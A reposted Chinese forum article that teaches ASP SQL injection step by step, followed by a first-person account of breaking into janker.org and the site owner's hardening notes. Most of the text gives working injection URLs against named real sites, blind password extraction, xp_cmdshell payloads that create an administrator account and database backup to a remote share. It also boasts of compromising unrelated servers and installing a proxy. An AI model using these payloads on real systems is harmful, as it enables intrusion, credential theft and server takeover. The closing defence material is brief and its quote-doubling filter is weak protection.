【转载】SQL注入进阶

被人黑怕了，每天在看别人怎么黑站，看到这文章还不错，就发上来了，希望大家提高安全意识啊，








SQL注入天书 - ASP注入漏洞全接触 




作者：NB联盟－小竹 来源：http://www.HackBase.com 加入时间：2004-4-17　AK下载站


引 言


随着B/S模式应用开发的发展，使用这种模式编写应用程序的程序员也越来越多。但是由于这个行业的入门门槛不高，程序员的水平及经验也参差不齐，相当大一部分程序员在编写代码的时候，没有对用户输入数据的合法性进行判断，使应用程序存在安全隐患。用户可以提交一段数据库查询代码，根据程序返回的结果，获得某些他想得知的数据，这就是所谓的SQL Injection，即ＳＱＬ注入。






ＳＱＬ注入是从正常的WWW端口访问，而且表面看起来跟一般的Web页面访问没什么区别，所以目前市面的防火墙都不会对ＳＱＬ注入发出警报，如果管理员没查看IIS日志的习惯，可能被入侵很长时间都不会发觉。






但是，ＳＱＬ注入的手法相当灵活，在注入的时候会碰到很多意外的情况。能不能根据具体情况进行分析，构造巧妙的SQL语句，从而成功获取想要的数据，是高手与“菜鸟”的根本区别。






根据国情，国内的网站用ASP+Access或SQLServer的占70%以上，PHP+MySQ占L20%，其他的不足10%。在本文，我们从分入门、进阶至高级讲解一下ASP注入的方法及技巧，PHP注入的文章由NB联盟的另一位朋友zwell撰写，希望对安全工作者和程序员都有用处。了解 ASP注入的朋友也请不要跳过入门篇，因为部分人对注入的基本判断方法还存在误区。大家准备好了吗？Let‘s Go...










入 门 篇


如果你以前没试过ＳＱＬ注入的话，那么第一步先把IE菜单=>工具=>Internet选项=>高级=>显示友好 HTTP 错误信息前面的勾去掉。否则，不论服务器返回什么错误，IE都只显示为HTTP 500服务器错误，不能获得更多的提示信息。






第一节、ＳＱＬ注入原理


以下我们从一个网站www.19cn.com开始（注：本文发表前已征得该站站长同意，大部分都是真实数据）。


在网站首页上，有名为“IE不能打开新窗口的多种解决方法”的链接，地址为：http://www.19cn.com/showdetail.asp?id=49，我们在这个地址后面加上单引号’，服务器会返回下面的错误提示：


Microsoft JET Database Engine 错误 ‘80040e14‘


字符串的语法错误 在查询表达式 ‘ID=49‘‘ 中。


/showdetail.asp，行8


从这个错误提示我们能看出下面几点：


1. 网站使用的是Access数据库，通过JET引擎连接数据库，而不是通过ODBC。


2. 程序没有判断客户端提交的数据是否符合程序要求。


3. 该SQL语句所查询的表中有一名为ID的字段。






从上面的例子我们可以知道，ＳＱＬ注入的原理，就是从客户端提交特殊的代码，从而收集程序及服务器的信息，从而获取你想到得到的资料。










第二节、判断能否进行ＳＱＬ注入


看完第一节，有一些人会觉得：我也是经常这样测试能否注入的，这不是很简单吗？


其实，这并不是最好的方法，为什么呢？


首先，不一定每台服务器的IIS都返回具体错误提示给客户端，如果程序中加了cint(参数)之类语句的话，ＳＱＬ注入是不会成功的，但服务器同样会报错，具体提示信息为处理 URL 时服务器上出错。请和系统管理员联络。


其次，部分对ＳＱＬ注入有一点了解的程序员，认为只要把单引号过滤掉就安全了，这种情况不为少数，如果你用单引号测试，是测不到注入点的


　　那么，什么样的测试方法才是比较准确呢？答案如下：


① http://www.19cn.com/showdetail.asp?id=49


② http://www.19cn.com/showdetail.asp?id=49 ;and 1=1


③ http://www.19cn.com/showdetail.asp?id=49 ;and 1=2


这就是经典的1=1、1=2测试法了，怎么判断呢？看看上面三个网址返回的结果就知道了：


可以注入的表现：


① 正常显示（这是必然的，不然就是程序有错误了）


② 正常显示，内容基本与①相同


③ 提示BOF或EOF（程序没做任何判断时）、或提示找不到记录（判断了rs.eof时）、或显示内容为空（程序加了on error resume next）


不可以注入就比较容易判断了，①同样正常显示，②和③一般都会有程序定义的错误提示，或提示类型转换时出错。


　　当然，这只是传入参数是数字型的时候用的判断方法，实际应用的时候会有字符型和搜索型参数，我将在中级篇的“ＳＱＬ注入一般步骤”再做分析。










第三节、判断数据库类型及注入方法


不同的数据库的函数、注入方法都是有差异的，所以在注入之前，我们还要判断一下数据库的类型。一般ASP最常搭配的数据库是Access和SQLServer，网上超过99%的网站都是其中之一。


怎么让程序告诉你它使用的什么数据库呢？来看看：


SQLServer有一些系统变量，如果服务器IIS提示没关闭，并且SQLServer返回错误提示的话，那可以直接从出错信息获取，方法如下：


http://www.19cn.com/showdetail.asp?id=49 ;and user>0


这句语句很简单，但却包含了SQLServer特有注入方法的精髓，我自己也是在一次无意的测试中发现这种效率极高的猜解方法。让我看来看看它的含义：首先，前面的语句是正常的，重点在and user>0，我们知道，user是SQLServer的一个内置变量，它的值是当前连接的用户名，类型为nvarchar。拿一个 nvarchar的值跟int的数0比较，系统会先试图将nvarchar的值转成int型，当然，转的过程中肯定会出错，SQLServer的出错提示是：将nvarchar值 ”abc” 转换数据类型为 int 的列时发生语法错误，呵呵，abc正是变量user的值，这样，不废吹灰之力就拿到了数据库的用户名。在以后的篇幅里，大家会看到很多用这种方法的语句。


顺便说几句，众所周知，SQLServer的用户sa是个等同Adminstrators权限的角色，拿到了sa权限，几乎肯定可以拿到主机的 Administrator了。上面的方法可以很方便的测试出是否是用sa登录，要注意的是：如果是sa登录，提示是将”dbo”转换成int的列发生错误，而不是”sa”。


如果服务器IIS不允许返回错误提示，那怎么判断数据库类型呢？我们可以从Access和SQLServer和区别入手，Access和 SQLServer都有自己的系统表，比如存放数据库中所有对象的表，Access是在系统表[msysobjects]中，但在Web环境下读该表会提示“没有权限”，SQLServer是在表[sysobjects]中，在Web环境下可正常读取。


在确认可以注入的情况下，使用下面的语句：


http://www.19cn.com/showdetail.asp?id=49 ;and (select count(*) from sysobjects)>0


http://www.19cn.com/showdetail.asp?id=49 ;and (select count(*) from msysobjects)>0


如果数据库是SQLServer，那么第一个网址的页面与原页面http://www.19cn.com/showdetail.asp?id= 49是大致相同的；而第二个网址，由于找不到表msysobjects，会提示出错，就算程序有容错处理，页面也与原页面完全不同。


如果数据库用的是Access，那么情况就有所不同，第一个网址的页面与原页面完全不同；第二个网址，则视乎数据库设置是否允许读该系统表，一般来说是不允许的，所以与原网址也是完全不同。大多数情况下，用第一个网址就可以得知系统所用的数据库类型，第二个网址只作为开启IIS错误提示时的验证。










进 阶 篇


在入门篇，我们学会了ＳＱＬ注入的判断方法，但真正要拿到网站的保密内容，是远远不够的。接下来，我们就继续学习如何从数据库中获取想要获得的内容，首先，我们先看看ＳＱＬ注入的一般步骤：




第一节、ＳＱＬ注入的一般步骤


首先，判断环境，寻找注入点，判断数据库类型，这在入门篇已经讲过了。


其次，根据注入参数类型，在脑海中重构SQL语句的原貌，按参数类型主要分为下面三种：


(A) ID=49 这类注入的参数是数字型，SQL语句原貌大致如下：
Select * from 表名 where 字段=49
注入的参数为ID=49 And [查询条件]，即是生成语句：
Select * from 表名 where 字段=49 And [查询条件]




(B) Class=连续剧 这类注入的参数是字符型，SQL语句原貌大致概如下：
Select * from 表名 where 字段=’连续剧’
注入的参数为Class=连续剧’ and [查询条件] and ‘’=’ ，即是生成语句：
Select * from 表名 where 字段=’连续剧’ and [查询条件] and ‘’=’’


(C) 搜索时没过滤参数的，如keyword=关键字，SQL语句原貌大致如下：
Select * from 表名 where 字段like ’%关键字%’
注入的参数为keyword=’ and [查询条件] and ‘%25’=’， 即是生成语句：
Select * from 表名 where字段like ’%’ and [查询条件] and ‘%’=’%’






接着，将查询条件替换成SQL语句，猜解表名，例如：


ID=49 And (Select Count(*) from Admin)>=0


如果页面就与ID=49的相同，说明附加条件成立，即表Admin存在，反之，即不存在（请牢记这种方法）。如此循环，直至猜到表名为止。


表名猜出来后，将Count(*)替换成Count(字段名)，用同样的原理猜解字段名。


有人会说：这里有一些偶然的成分，如果表名起得很复杂没规律的，那根本就没得玩下去了。说得很对，这世界根本就不存在100%成功的黑客技术，苍蝇不叮无缝的蛋，无论多技术多高深的黑客，都是因为别人的程序写得不严密或使用者保密意识不够，才有得下手。


有点跑题了，话说回来，对于SQLServer的库，还是有办法让程序告诉我们表名及字段名的，我们在高级篇中会做介绍。






最后，在表名和列名猜解成功后，再使用SQL语句，得出字段的值，下面介绍一种最常用的方法－Ascii逐字解码法，虽然这种方法速度很慢，但肯定是可行的方法。


我们举个例子，已知表Admin中存在username字段，首先，我们取第一条记录，测试长度：


http://www.19cn.com/showdetail.asp?id=49 ;and (select top 1 len(username) from Admin)>0


先说明原理：如果top 1的username长度大于0，则条件成立；接着就是>1、>2、>3这样测试下去，一直到条件不成立为止，比如>7成立，>8不成立，就是len(username)=8


　　当然没人会笨得从0,1,2,3一个个测试，怎么样才比较快就看各自发挥了。在得到username的长度后，用mid(username,N,1)截取第N位字符，再asc(mid(username,N,1))得到ASCII码，比如：


id=49 and (select top 1 asc(mid(username,1,1)) from Admin)>0


同样也是用逐步缩小范围的方法得到第1位字符的ASCII码，注意的是英文和数字的ASCII码在1-128之间，可以用折半法加速猜解，如果写成程序测试，效率会有极大的提高。






第二节、ＳＱＬ注入常用函数


有SQL语言基础的人，在ＳＱＬ注入的时候成功率比不熟悉的人高很多。我们有必要提高一下自己的SQL水平，特别是一些常用的函数及命令。


Access：asc(字符) SQLServer：unicode(字符)


作用：返回某字符的ASCII码






Access：chr(数字) SQLServer：nchar(数字)


作用：与asc相反，根据ASCII码返回字符






Access：mid(字符串,N,L) SQLServer：substring(字符串,N,L)


作用：返回字符串从N个字符起长度为L的子字符串，即N到N+L之间的字符串






Access：abc(数字) SQLServer：abc (数字)


作用：返回数字的绝对值（在猜解汉字的时候会用到）






Access：A between B And C SQLServer：A between B And C


作用：判断A是否界于B与C之间






第三节、中文处理方法


在注入中碰到中文字符是常有的事，有些人一碰到中文字符就想打退堂鼓了。其实只要对中文的编码有所了解，“中文恐惧症”很快可以克服。


先说一点常识：


Access中，中文的ASCII码可能会出现负数，取出该负数后用abs()取绝对值，汉字字符不变。


SQLServer中，中文的ASCII为正数，但由于是UNICODE的双位编码，不能用函数ascii()取得ASCII码，必须用函数unicode ()返回unicode值，再用nchar函数取得对应的中文字符。


了解了上面的两点后，是不是觉得中文猜解其实也跟英文差不多呢？除了使用的函数要注意、猜解范围大一点外，方法是没什么两样的。
高 级 篇


看完入门篇和进阶篇后，稍加练习，破解一般的网站是没问题了。但如果碰到表名列名猜不到，或程序作者过滤了一些特殊字符，怎么提高注入的成功率？怎么样提高猜解效率？请大家接着往下看高级篇。






第一节、利用系统表注入SQLServer数据库


SQLServer是一个功能强大的数据库系统，与操作系统也有紧密的联系，这给开发者带来了很大的方便，但另一方面，也为注入者提供了一个跳板，我们先来看看几个具体的例子：


① http://Site/url.asp?id=1;exec master..xp_cmdshell “net user name password /add”--


　　分号;在SQLServer中表示隔开前后两句语句，--表示后面的语句为注释，所以，这句语句在SQLServer中将被分成两句执行，先是Select出ID=1的记录，然后执行存储过程xp_cmdshell，这个存储过程用于调用系统命令，于是，用net命令新建了用户名为name、密码为password的windows的帐号，接着：


② http://Site/url.asp?id=1;exec master..xp_cmdshell “net localgroup name administrators /add”--


　　将新建的帐号name加入管理员组，不用两分钟，你已经拿到了系统最高权限！当然，这种方法只适用于用sa连接数据库的情况，否则，是没有权限调用xp_cmdshell的。


　　③ http://Site/url.asp?id=1 ;and db_name()>0


前面有个类似的例子and user>0，作用是获取连接用户名，db_name()是另一个系统变量，返回的是连接的数据库名。


④ http://Site/url.asp?id=1;backup database 数据库名 to disk=’c:\inetpub\wwwroot\1.db’;--


这是相当狠的一招，从③拿到的数据库名，加上某些IIS出错暴露出的绝对路径，将数据库备份到Web目录下面，再用HTTP把整个数据库就完完整整的下载回来，所有的管理员及用户密码都一览无遗！在不知道绝对路径的时候，还可以备份到网络地址的方法（如\\202.96.xx.xx\Share \1.db），但成功率不高。


　　⑤ http://Site/url.asp?id=1 ;and (Select Top 1 name from sysobjects where xtype=’U’ and status>0)>0


前面说过，sysobjects是SQLServer的系统表，存储着所有的表名、视图、约束及其它对象，xtype=’U’ and status>0，表示用户建立的表名，上面的语句将第一个表名取出，与0比较大小，让报错信息把表名暴露出来。第二、第三个表名怎么获取？还是留给我们聪明的读者思考吧。


⑥ http://Site/url.asp?id=1 ;and (Select Top 1 col_name(object_id(‘表名’),1) from sysobjects)>0


从⑤拿到表名后，用object_id(‘表名’)获取表名对应的内部ID，col_name(表名ID,1)代表该表的第1个字段名，将1换成2,3,4...就可以逐个获取所猜解表里面的字段名。






　　以上6点是我研究SQLServer注入半年多以来的心血结晶，可以看出，对SQLServer的了解程度，直接影响着成功率及猜解速度。在我研究SQLServer注入之后，我在开发方面的水平也得到很大的提高，呵呵，也许安全与开发本来就是相辅相成的吧。






第二节、绕过程序限制继续注入


在入门篇提到，有很多人喜欢用’号测试注入漏洞，所以也有很多人用过滤’号的方法来“防止”注入漏洞，这也许能挡住一些入门者的攻击，但对ＳＱＬ注入比较熟悉的人，还是可以利用相关的函数，达到绕过程序限制的目的。


在“ＳＱＬ注入的一般步骤”一节中，我所用的语句，都是经过我优化，让其不包含有单引号的；在“利用系统表注入SQLServer数据库”中，有些语句包含有’号，我们举个例子来看看怎么改造这些语句：


简单的如where xtype=’U’，字符U对应的ASCII码是85，所以可以用where xtype=char(85)代替；如果字符是中文的，比如where name=’用户’，可以用where name=nchar(29992)+nchar(25143)代替。






第三节、经验小结


1.有些人会过滤Select、Update、Delete这些关键字，但偏偏忘记区分大小写，所以大家可以用selecT这样尝试一下。


2.在猜不到字段名时，不妨看看网站上的登录表单，一般为了方便起见，字段名都与表单的输入框取相同的名字。


3.特别注意：地址栏的+号传入程序后解释为空格，%2B解释为+号，%25解释为%号，具体可以参考URLEncode的相关介绍。


4.用Get方法注入时，IIS会记录你所有的提交字符串，对Post方法做则不记录，所以能用Post的网址尽量不用Get。


5. 猜解Access时只能用Ascii逐字解码法，SQLServer也可以用这种方法，只需要两者之间的区别即可，但是如果能用SQLServer的报错信息把值暴露出来，那效率和准确率会有极大的提高。














防 范 方 法


ＳＱＬ注入漏洞可谓是“千里之堤，溃于蚁穴”，这种漏洞在网上极为普遍，通常是由于程序员对注入不了解，或者程序过滤不严格，或者某个参数忘记检查导致。在这里，我给大家一个函数，代替ASP中的Request函数，可以对一切的SQL注入Say NO，函数如下：




Function SafeRequest(ParaName,ParaType)
‘--- 传入参数 ---
‘ParaName:参数名称-字符型
‘ParaType:参数类型-数字型(1表示以上参数是数字，0表示以上参数为字符)


Dim ParaValue
ParaValue=Request(ParaName)
If ParaType=1 then
If not isNumeric(ParaValue) then
Response.write "参数" & ParaName & "必须为数字型！"
Response.end
End if
Else
ParaValue=replace(ParaValue,"‘","‘‘")
End if
SafeRequest=ParaValue
End function


文章到这里就结束了，不管你是安全人员、技术爱好者还是程序员，我都希望本文能对你有所帮助。
又


拿出扫描器甲乙丙丁一阵乱扫，呵呵，结果大家都能猜到，就不废话了。反正80和23是开着的，这个结果要记住。系统漏洞没有的话，有几种方法可以供选择：1、渗透；2、脚本漏洞。当然，还可以玩D.D.o.S，还可以背上炸药包炸主机，还可以用拖网把电缆弄断，还可以开飞机把那栋楼撞了，等等。当然这些要看攻击者的想象力，我还是老老实实的看脚本。 
找啊找啊，找了几秒钟，找到一个地方没有很好的处理参数id。http://www.janker.org/show.asp?id=2;-- 
出错了。“Microsoft JET Database Engine 错误 ‘80040e14‘ 在 SQL 语句结尾之后找到字符。”嗯，大虾们肯定已经看出来了吧？我想来想去觉得这句话告诉了两件事情：一、用的是ACCESS数据库；二、脚本里面兴许有什么" where id=" & request("id")之类的没有过滤的洞洞。 


关键是怎么用呢？我还是决定像瞎子摸象一样再看看，猜了一会儿后，觉得一个发布系统远程总会有一个管理系统吧，猜猜表名看看。 
http://www.janker.org/show.asp?id=2 or id in (select id from admin) 
OK，没有报错，那么说起来存在一个admin的表，而且这张表里面有id项，其实后来想想这样不好，子查询只是要确定一下有没有admin这张表，用..... id <> (select count(*) from admin)比较好。 


继续猜，猜了几个常见的列名，嗯，得到的结果是有user，password。到这里的时候，我觉得我走了很多弯路，虽然第一直觉是这是一个免费的公开源代码的东东，但是因为一下子我没有认出来是什么（我看过的东西很少啊，呵呵……），就没有去找下载，现在猜得头晕，觉得还是应该去找代码来看比较好。 


于是我的方向又转到如何去找相同的东东。呵呵，很笨的，我想到了在google.coms搜索fir.asp，因为fir.asp是很奇怪的一个名字，结果我找到了很多很多相同的站点。我觉得几千个结果里面总有非常容易入侵的机器吧，嗯，我用的是webdavx3，大约失败60次以后，终于找了一个进去。当然啦，我只是要看看代码，没有别的意思，只是在这台机器上装了socks5代理（呵呵），补上漏洞就出来了。 


这个时候已经临近熄灯时间，我就干脆断了网看代码，嗯，应该说是看那个Access数据库。早这样的话，我就会少走好多弯路啊，不过猜猜也很有意思，大脑长期不用会生锈的。 


有人想到直接下数据库吧？呵呵，哪有这么容易的事情啊，数据库的名字百分之一百二被改掉了。 


嗯，反正我已经知道admin表是怎样的了，猜猜密码也还不算是太累的工作。先看看admin里面有几个管理员。 
http://www.janker.org/show.asp?id=3 AND 1<(select count(*) from admin) 
嗯，比一个多…… 
http://www.janker.org/show.asp?id=3 AND 10<(select count(*) from admin) 
没有十个…… 
（省略无聊过程若干） 
http://www.janker.org/show.asp?id=3 AND 5=(select count(*) from admin) 
有五个管理员呢，随便找一个破一下啊…… 


我选的是id=1的，我先猜的是它的密码第一位，呵呵，密码总要一位一位的猜嘛…… 
http://www.janker.org/show.asp?id=3 and 1=(select id from admin where left(password,1)=‘q‘) 
嗯，显示是“未指定所需参数!”那么第一位不是q了，如果我们提交的SQL查询正确执行——也就 


是我们猜对了的话，是会出来id=3的那篇文章的（前面的那些也一样）。继续来吧……w、e、r、t、y……猜了一会儿，结果出来了。 
http://www.janker.org/show.asp?id=3 and 1=(select id from admin where left(password,1)=‘j‘) 


显示了id为3的那篇文章，密码第一位为j。 


暂停一下，如果密码有个2、30位的话，岂不是要猜死了，先看看密码有几位再说吧。方法和猜管理员的个数是一样的，直接给出结果 
http://www.janker.org/show.asp?id=3 and 1=(select id from admin where len(password)=7 and id=1) 
7位，刚好在我的心理承受范围之内，8位以上的话就要考虑写程序猜了。猜测的过程是美好的，你看到第一位是j后会怎样想呢，优先猜的肯定是a、A、4、@、k之类的吧？如果你猜到了前面三位是jk2，后面的00也会很自信的写上去吧？最后的密码是jk2008!，呵呵，如果你在30分钟内没有一位一位的猜出来的话，就不要做hacker/cracker了。还是给出过程： 
http://www.janker.org/show.asp?id=3 and 1=(select id from admin where left(password,2)=‘jk‘) 


http://www.janker.org/show.asp?id=3 and 1=(select id from admin where left(password,3)=‘jk2‘) 


http://www.janker.org/show.asp?id=3 and 1=(select id from admin where left(password,4)=‘jk20‘) 


http://www.janker.org/show.asp?id=3 and 1=(select id from admin where left(password,5)=‘jk200‘) 


http://www.janker.org/show.asp?id=3 and 1=(select id from admin where left(password,6)=‘jk2008‘) 


http://www.janker.org/show.asp?id=3 and 1=(select id from admin where left(password,7)=‘jk2008!‘) 


嗯，大家在考场上有没有掷色子做选择题的经历啊？一般都是扔两次吧，呵呵，验算一下也是很必要的哦。顺便把用户名也猜出来了…… 
http://www.janker.org/show.asp?id=3 and 1=(select id from admin where password=‘jk2008!‘ and name=‘janker‘) 
经过一番捣鼓，我终于得到了一个用户名/密码，嗯，很费工夫吧？费工夫的还在后面呢，还有四个用户可是等着我们猜的。当然，全部得到我想要的东西时，已经是第二天的事情了，至于用户名密码，我就不说了，我只是说过程嘛…… 
然后干什么就是定式了吧？我选择的道路是先进入管理界面发布两条搞笑的消息，然后说不定有什么跨站脚本漏洞，新闻是显示在首页上的，没有过滤html字符的情况下，你可以想办法建一个1600x1200的div，背景色设定为黑，真正把它“黑”掉。或者刷新到你自己伪造的页面上，等待那些习惯从首页登陆的同志们的密码，哈哈哈哈……一切都很顺利，不是吗？可是管理界面在哪里呢？http://www.janker.org/admin/ 


该页无法显示，faint！原来把管理的路径改了……这不是耍我嘛，搞了半天，做的都没有用嘛…… 


嗯，还有一个办法的，呵呵，要不然太没有面子了。我干嘛要把几个密码都破出来啊，不就是想多一条路吗，还有FTP呢。呵呵，我记得在哪里看到说很多人都是用的一个密码，试了一下，有一个果然进去了。 


GAME OVER！故事到这里就结束了。呵呵，没有成功吧，因为我已经累了，而且觉得很无聊啊，更加重要的是Janker告诉我有人以前用相同的方法得到过密码，我想建设永远比破坏困难，而我比较喜欢困难的事情。 
如果要继续的话，故事也许会是…… 
完美结局一： 
上传的目录可以执行脚本，于是上传了一个.asp的SHELL，然后上传NC一类的东西反向连接，提升权限，清除脚印，安装后门，KO。 
完美结局二： 
上传的目录不可执行脚本……怎么办呢……上传了一个精心制作的folder.htr和desktop.ini，几天后，通过某不知名的木马的客户端连接到了那台机器。 
完美结局三： 
…… 


或许你还可以想出这样那样的完美或者是不完美的结局、然而真正的结尾只会有一个。对于管理突围（后来我知道这个系统的名字叫作管理突围）——一个2001年的作品，没有什么好说的。可是用这个的www.invchina.com、www.cnftrade.net、www.zgwl.net、www.manage.org.cn，还有那些用其它免费脚本的那些网站，不自己看看代码，你们真的能放心吗？ 
附孤独剑客先生的评语： 
本人的个人站点（http://www.janker.org或http://janker.126.com）做为国内的知名的安全技术交流站点之一，自从1999年10月1日建立至今，访问量已达160多万人次，长期以来，一直为大家提供免费技术资料和技术交流沟通的场所，但由于其在国内安全界的特殊地位，很多安全爱好者把本站当作了挑战目标也在情理之中，从日志分析可以看出janker.org经历了超过10万次以上的尝试入侵，经受了多次DDOS攻击，但到目前为止，尚没有人能够实现更改网站首页或获得管理员权限，在此我把管理维护经验和大家做一下交流，分析内容见下： 


（1）N.E.V.E.R成功破解文章管理员密码的过程分析 


我的站点很久以来一直是采用静态页面的方式，尽管这样做站点会更安全，但却更新麻烦交流不方便，不能够为大家提供更及时的技术服务，加上本人工作繁忙，不可能把很多精力投入到这上面来，所以就采用了折中的方法，那就是使用免费的文章和下载及论坛系统，尽管我对服务器本身做了标准的安全设置和处理，但不可能是去阅读上万行的第三方代码，要求一般的脚本程序员写出安全的代码也不太现实，N.E.V.E.R正是利用了脚本代码对页面提交的变量（GET或POST）检查不严而嵌入了非法的SQL查询，从而可以非授权访问数据库的内容。事实上，在此之前已经有一位QQ上的叫.PsKey的朋友利用此方法猜出了密码，由此可见注入SQL查询攻击已经为多人所掌握，并且在防火墙和反病毒软件已经为基本安全配置的如今，脚本攻击将会长期存在下去，而成为影响网络安全的一个重要因素，就目前而言，防范的主要方法为编写安全的脚本代码和设置安全的服务器系统。 




（2）N.E.V.E.R没能够实现更改网站首页的原因 
要实现更改首页内容，可从两个方面入手，一是直接修改首页文件，二是修改数据库内容，因为首页调用了数据库的一些数据。对于前者由于首页文件设置了只有系统管理员才有写的权限，其它用户都是只读权限，所以在没有获得系统管理员权限的情况下，想更改是几乎不可能的；对于后者而言，由于数据库文件和首页文件设置了相同的权限，所以可能性不大，也许有的人会问那怎么更新，其实方法很简单，那就是需要更新的时候先设置一般用户对数据库文件可写，更新完毕再设置成只读，虽然麻烦了但却增加了安全性。并且，若不能够进入文章管理界面的话，即便拥有用户账号和密码要实现修改数据库也是比较困难的，当然若有人乐意为我修改为安全代码的话，可能会为我省去这麻烦，但可能省不去的是仍然会有被同样手法攻击的可能，因为修改者也无法保证他修改后就一定安全了，毕竟新的不安全因素是潜在不可预测的。 




（3）N.E.V.E.R很难在janker.org上实现权限提升的依据 
权限提升的方法有很多种，但不外是漏洞利用、密码破解和欺骗伪装等手段，只要安全处理得当，实现起来也并不容易，janker.org是通过以下处理来保障服务器安全的。 
1、系统和应用软件均保持安装了最新的安全补丁程序。 
2、去掉了服务器中不必要的服务和软件系统并设置了严格的文件目录和用户访问权限。 
3、系统中没有无用的用户账号存在，且设置了复杂密码。 
4、利用系统自身的端口过滤功能封闭了不必要的端口，并禁止不必要的外连。 
5、安装有自动更新功能的反病毒软件。 
6、安装有进程监控软件，除设定的程序外其它任何程序均不允许在系统中执行。 
7、设置了所有的网站目录为系统管理员可读写，普通用户只能读取。 
8、网站中所有通过WEB可上传文件的目录均不允许执行脚本和程序。 
9、为朋友免费提供的FTP空间通过HTTP访问均不允许执行脚本和程序。 
10、我的习惯是以普通方式而不是Web方式浏览服务器文件夹，显示所有隐藏文件和扩展名，不直接打开可疑程序。 


当然，除上面的以外还做了更多的细致设置，比如：服务器伪装、限制FSO和SHELL、设置特殊文件权限等等。 


总结，通过N.E.V.E.R的这次渗透入侵，可以看出我本人作为一名专业的安全人员，能够做如此细致的安全设置是可以理解的，但相信大多数安装了防火墙和入侵监测及反病毒软件就认为高枕无忧的网络管理员可就需要注意了，脚本的安全问题已经成了你安全防御线上最薄弱的一环，严重的话通过权限提升可以轻易获得系统的管理员权限，但也可以看出只要服务器自身的安全处理得当，避免某些不可预料的安全问题是可能的。